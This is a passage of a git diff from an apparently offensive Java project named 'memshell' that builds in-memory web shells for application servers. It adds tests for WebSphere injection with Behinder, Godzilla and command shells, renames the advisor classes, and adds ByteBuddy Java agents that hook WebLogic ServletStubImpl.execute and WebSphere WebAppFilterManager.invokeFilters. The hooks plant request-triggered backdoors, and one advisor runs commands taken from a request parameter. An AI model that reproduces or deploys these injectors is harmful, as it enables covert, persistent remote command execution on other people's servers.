+ arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -63,7 +69,7 @@ public class WebSphere905ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java similarity index 94% rename from memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java index a937f560..9054d3d9 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.tomcat.behinder; +package com.reajason.javaweb.memshell.shelltool.behinder; import net.bytebuddy.asm.Advice; @@ -17,7 +17,7 @@ import java.util.Map; /** * @author ReaJason */ -public class TomcatFilterChainBehinderAdvisor { +public class BehinderFilterChainAdvisor { public static String pass; public static String headerName; public static String headerValue; @@ -27,6 +27,9 @@ public class TomcatFilterChainBehinderAdvisor { @Advice.Argument(value = 0) ServletRequest req, @Advice.Argument(value = 1) ServletResponse res ) { + if (!(req instanceof HttpServletRequest)) { + return false; + } HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java similarity index 89% rename from memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java index 1fd585cf..ed4768ec 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.tomcat.command; +package com.reajason.javaweb.memshell.shelltool.command; import net.bytebuddy.asm.Advice; @@ -10,7 +10,7 @@ import java.io.InputStream; /** * @author ReaJason */ -public class TomcatFilterChainCommandAdvisor { +public class CommandFilterChainAdvisor { public static String paramName; @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) @@ -18,7 +18,6 @@ public class TomcatFilterChainCommandAdvisor { @Advice.Argument(value = 0) ServletRequest request, @Advice.Argument(value = 1) ServletResponse response ) { - System.out.println(paramName); String cmd = request.getParameter(paramName); try { if (cmd != null) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java similarity index 97% rename from memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java index dbfdf879..aaecf799 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.tomcat.godzilla; +package com.reajason.javaweb.memshell.shelltool.godzilla; import net.bytebuddy.asm.Advice; @@ -15,7 +15,7 @@ import java.lang.reflect.Method; /** * @author ReaJason */ -public class TomcatFilterChainGodzillaAdvisor { +public class GodzillaFilterChainAdvisor { public static String key; public static String pass; public static String md5; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletStubAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletStubAgentInjector.java new file mode 100644 index 00000000..f64dc889 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletStubAgentInjector.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.memshell.weblogic.injector; + +import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector; +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; +import static net.bytebuddy.matcher.ElementMatchers.takesArguments; + +/** + * @author ReaJason + * @since 2025/1/3 + */ +public class WebLogicServletStubAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("execute").and(takesArguments(3)))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("weblogic.servlet.internal.ServletStubImpl")) + .transform(new WebLogicServletStubAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at weblogic.servlet.internal.ServletStubImpl.execute"); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereFilterChainAgentInjector.java new file mode 100644 index 00000000..21381ff2 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/injector/WebSphereFilterChainAgentInjector.java @@ -0,0 +1,63 @@ +package com.reajason.javaweb.memshell.websphere.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("invokeFilters"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager")) + .transform(new WebSphereFilterChainAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters"); + } +} \ No newline at end of file